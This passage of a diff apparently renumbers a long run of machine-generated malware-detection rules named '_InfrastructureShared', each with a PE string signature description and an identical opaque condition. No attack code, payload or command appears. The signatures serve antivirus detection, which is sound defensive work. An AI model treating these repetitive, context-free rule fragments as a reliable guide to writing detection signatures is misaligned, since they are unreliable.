_InfrastructureShared_1445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15254,7 +15318,7 @@ rule _InfrastructureShared_1441{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1442{ +rule _InfrastructureShared_1446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15264,7 +15328,7 @@ rule _InfrastructureShared_1442{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1443{ +rule _InfrastructureShared_1447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15274,7 +15338,7 @@ rule _InfrastructureShared_1443{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1444{ +rule _InfrastructureShared_1448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15284,7 +15348,7 @@ rule _InfrastructureShared_1444{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1445{ +rule _InfrastructureShared_1449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15294,7 +15358,7 @@ rule _InfrastructureShared_1445{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1446{ +rule _InfrastructureShared_1450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15304,7 +15368,7 @@ rule _InfrastructureShared_1446{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1447{ +rule _InfrastructureShared_1451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15314,7 +15378,7 @@ rule _InfrastructureShared_1447{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1448{ +rule _InfrastructureShared_1452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15324,7 +15388,7 @@ rule _InfrastructureShared_1448{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1449{ +rule _InfrastructureShared_1453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15334,7 +15398,7 @@ rule _InfrastructureShared_1449{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1450{ +rule _InfrastructureShared_1454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15344,7 +15408,7 @@ rule _InfrastructureShared_1450{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1451{ +rule _InfrastructureShared_1455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15354,7 +15418,7 @@ rule _InfrastructureShared_1451{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1452{ +rule _InfrastructureShared_1456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15364,7 +15428,7 @@ rule _InfrastructureShared_1452{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1453{ +rule _InfrastructureShared_1457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15374,7 +15438,7 @@ rule _InfrastructureShared_1453{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1454{ +rule _InfrastructureShared_1458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15384,7 +15448,7 @@ rule _InfrastructureShared_1454{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1455{ +rule _InfrastructureShared_1459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15394,7 +15458,7 @@ rule _InfrastructureShared_1455{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1456{ +rule _InfrastructureShared_1460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15404,7 +15468,7 @@ rule _InfrastructureShared_1456{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1457{ +rule _InfrastructureShared_1461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15414,7 +15478,7 @@ rule _InfrastructureShared_1457{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1458{ +rule _InfrastructureShared_1462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15424,7 +15488,7 @@ rule _InfrastructureShared_1458{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1459{ +rule _InfrastructureShared_1463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15434,7 +15498,7 @@ rule _InfrastructureShared_1459{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1460{ +rule _InfrastructureShared_1464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15444,7 +15508,7 @@ rule _InfrastructureShared_1460{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1461{ +rule _InfrastructureShared_1465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15454,7 +15518,7 @@ rule _InfrastructureShared_1461{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1462{ +rule _InfrastructureShared_1466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15464,7 +15528,7 @@ rule _InfrastructureShared_1462{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1463{ +rule _InfrastructureShared_1467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15474,7 +15538,7 @@ rule _InfrastructureShared_1463{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1464{ +rule _InfrastructureShared_1468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15484,7 +15548,7 @@ rule _InfrastructureShared_1464{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1465{ +rule _InfrastructureShared_1469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15494,7 +15558,7 @@ rule _InfrastructureShared_1465{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1466{ +rule _InfrastructureShared_1470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15504,7 +15568,7 @@ rule _InfrastructureShared_1466{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1467{ +rule _InfrastructureShared_1471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15514,7 +15578,7 @@ rule _InfrastructureShared_1467{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1468{ +rule _InfrastructureShared_1472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15524,7 +15588,7 @@ rule _InfrastructureShared_1468{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1469{ +rule _InfrastructureShared_1473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15534,7 +15598,7 @@ rule _InfrastructureShared_1469{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1470{ +rule _InfrastructureShared_1474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15544,7 +15608,7 @@ rule _InfrastructureShared_1470{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1471{ +rule _InfrastructureShared_1475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15554,7 +15618,7 @@ rule _InfrastructureShared_1471{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1472{ +rule _InfrastructureShared_1476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15564,7 +15628,7 @@ rule _InfrastructureShared_1472{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1473{ +rule _InfrastructureShared_1477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15574,7 +15638,7 @@ rule _InfrastructureShared_1473{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1474{ +rule _InfrastructureShared_1478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15584,7 +15648,7 @@ rule _InfrastructureShared_1474{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1475{ +rule _InfrastructureShared_1479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15594,7 +15658,7 @@ rule _InfrastructureShared_1475{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1476{ +rule _InfrastructureShared_1480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15604,7 +15668,7 @@ rule _InfrastructureShared_1476{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1477{ +rule _InfrastructureShared_1481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15614,7 +15678,7 @@ rule _InfrastructureShared_1477{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1478{ +rule _InfrastructureShared_1482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15624,7 +15688,7 @@ rule _InfrastructureShared_1478{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1479{ +rule _InfrastructureShared_1483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15634,7 +15698,7 @@ rule _InfrastructureShared_1479{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1480{ +rule _InfrastructureShared_1484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15644,7 +15708,7 @@ rule _InfrastructureShared_1480{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1481{ +rule _InfrastructureShared_1485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15654,7 +15718,7 @@ rule _InfrastructureShared_1481{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1482{ +rule _InfrastructureShared_1486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15664,7 +15728,7 @@ rule _InfrastructureShared_1482{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1483{ +rule _InfrastructureShared_1487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15674,7 +15738,7 @@ rule _InfrastructureShared_1483{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1484{ +rule _InfrastructureShared_1488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15684,7 +15748,7 @@ rule _InfrastructureShared_1484{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1485{ +rule _InfrastructureShared_1489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15694,7 +15758,7 @@ rule _InfrastructureShared_1485{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1486{ +rule _InfrastructureShared_1490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15704,7 +15768,7 @@ rule _InfrastructureShared_1486{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1487{ +rule _InfrastructureShared_1491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15714,7 +15778,7 @@ rule _InfrastructureShared_1487{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1488{ +rule _InfrastructureShared_1492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15724,7 +15788,7 @@ rule _InfrastructureShared_1488{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1489{ +rule _InfrastructureShared_1493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15734,7 +15798,7 @@ rule _InfrastructureShared_1489{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1490{ +rule _InfrastructureShared_1494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15744,7 +15808,7 @@ rule _InfrastructureShared_1490{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1491{ +rule _InfrastructureShared_1495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15754,7 +15818,7 @@ rule _InfrastructureShared_1491{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1492{ +rule _InfrastructureShared_1496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15764,7 +15828,7 @@ rule _InfrastructureShared_1492{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1493{ +rule _InfrastructureShared_1497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15774,7 +15838,7 @@ rule _InfrastructureShared_1493{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1494{ +rule _InfrastructureShared_1498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15784,7 +15848,7 @@ rule _InfrastructureShared_1494{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1495{ +rule _InfrastructureShared_1499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15794,7 +15858,7 @@ rule _InfrastructureShared_1495{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1496{ +rule _InfrastructureShared_1500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15804,7 +15868,7 @@ rule _InfrastructureShared_1496{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1497{ +rule _InfrastructureShared_1501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15814,7 +15878,7 @@ rule _InfrastructureShared_1497{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1498{ +rule _InfrastructureShared_1502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15824,7 +15888,7 @@ rule _InfrastructureShared_1498{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1499{ +rule _InfrastructureShared_1503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15834,7 +15898,7 @@ rule _InfrastructureShared_1499{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1500{ +rule _InfrastructureShared_1504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15844,7 +15908,7 @@ rule _InfrastructureShared_1500{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1501{ +rule _InfrastructureShared_1505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15854,7 +15918,7 @@ rule _InfrastructureShared_1501{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1502{ +rule _InfrastructureShared_1506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15864,7 +15928,7 @@ rule _InfrastructureShared_1502{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1503{ +rule _InfrastructureShared_1507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15874,7 +15938,7 @@ rule _InfrastructureShared_1503{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1504{ +rule _InfrastructureShared_1508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15884,7 +15948,7 @@ rule _InfrastructureShared_1504{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1505{ +rule _InfrastructureShared_1509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15894,7 +15958,7 @@ rule _InfrastructureShared_1505{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1506{ +rule _InfrastructureShared_1510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15904,7 +15968,7 @@ rule _InfrastructureShared_1506{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1507{ +rule _InfrastructureShared_1511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15914,7 +15978,7 @@ rule _InfrastructureShared_1507{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1508{ +rule _InfrastructureShared_1512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15924,7 +15988,7 @@ rule _InfrastructureShared_1508{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1509{ +rule _InfrastructureShared_1513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15934,7 +15998,7 @@ rule _InfrastructureShared_1509{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1510{ +rule _InfrastructureShared_1514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15944,7 +16008,7 @@ rule _InfrastructureShared_1510{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1511{ +rule _InfrastructureShared_1515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15954,7 +16018,7 @@ rule _InfrastructureShared_1511{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1512{ +rule _InfrastructureShared_1516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15964,7 +16028,7 @@ rule _InfrastructureShared_1512{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1513{ +rule _InfrastructureShared_1517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15974,7 +16038,7 @@ rule _InfrastructureShared_1513{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1514{ +rule _InfrastructureShared_1518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15984,7 +16048,7 @@ rule _InfrastructureShared_1514{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1515{ +rule _InfrastructureShared_1519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15994,7 +16058,7 @@ rule _InfrastructureShared_1515{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1516{ +rule _InfrastructureShared_1520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16004,7 +16068,7 @@ rule _InfrastructureShared_1516{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1517{ +rule _InfrastructureShared_1521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16014,7 +16078,7 @@ rule _InfrastructureShared_1517{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1518{ +rule _InfrastructureShared_1522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16024,7 +16088,7 @@ rule _InfrastructureShared_1518{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1519{ +rule _InfrastructureShared_1523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16034,7 +16098,7 @@ rule _InfrastructureShared_1519{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1520{ +rule _InfrastructureShared_1524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16044,7 +16108,7 @@ rule _InfrastructureShared_1520{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1521{ +rule _InfrastructureShared_1525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16054,7 +16118,7 @@ rule _InfrastructureShared_1521{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1522{ +rule _InfrastructureShared_1526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16064,7 +16128,7 @@ rule _InfrastructureShared_1522{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1523{ +rule _InfrastructureShared_1527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16074,7 +16138,7 @@ rule _InfrastructureShared_1523{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1524{ +rule _InfrastructureShared_1528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16084,7 +16148,7 @@ rule _InfrastructureShared_1524{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1525{ +rule _InfrastructureShared_1529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16094,7 +16158,7 @@ rule _InfrastructureShared_1525{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1526{ +rule _InfrastructureShared_1530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16104,7 +16168,7 @@ rule _InfrastructureShared_1526{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1527{ +rule _InfrastructureShared_1531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16114,7 +16178,7 @@ rule _InfrastructureShared_1527{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1528{ +rule _InfrastructureShared_1532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16124,7 +16188,7 @@ rule _InfrastructureShared_1528{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1529{ +rule _InfrastructureShared_1533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16134,7 +16198,7 @@ rule _InfrastructureShared_1529{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1530{ +rule _InfrastructureShared_1534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16144,7 +16208,7 @@ rule _InfrastructureShared_1530{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1531{ +rule _InfrastructureShared_1535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16154,7 +16218,7 @@ rule _InfrastructureShared_1531{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1532{ +rule _InfrastructureShared_1536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16164,7 +16228,7 @@ rule _InfrastructureShared_1532{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1533{ +rule _InfrastructureShared_1537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16174,7 +16238,7 @@ rule _InfrastructureShared_1533{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1534{ +rule _InfrastructureShared_1538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16184,7 +16248,7 @@ rule _InfrastructureShared_1534{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1535{ +rule _InfrastructureShared_1539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16194,7 +16258,7 @@ rule _InfrastructureShared_1535{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1536{ +rule _InfrastructureShared_1540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16204,7 +16268,7 @@ rule _InfrastructureShared_1536{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1537{ +rule _InfrastructureShared_1541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16214,7 +16278,7 @@ rule _InfrastructureShared_1537{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1538{ +rule _InfrastructureShared_1542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16224,7 +16288,7 @@ rule _InfrastructureShared_1538{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1539{ +rule _InfrastructureShared_1543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16234,7 +16298,7 @@ rule _InfrastructureShared_1539{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1540{ +rule _InfrastructureShared_1544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16244,7 +16308,7 @@ rule _InfrastructureShared_1540{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1541{ +rule _InfrastructureShared_1545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16254,7 +16318,7 @@ rule _InfrastructureShared_1541{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1542{ +rule _InfrastructureShared_1546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16264,7 +16328,7 @@ rule _InfrastructureShared_1542{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1543{ +rule _InfrastructureShared_1547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16274,7 +16338,7 @@ rule _InfrastructureShared_1543{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1544{ +rule _InfrastructureShared_1548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 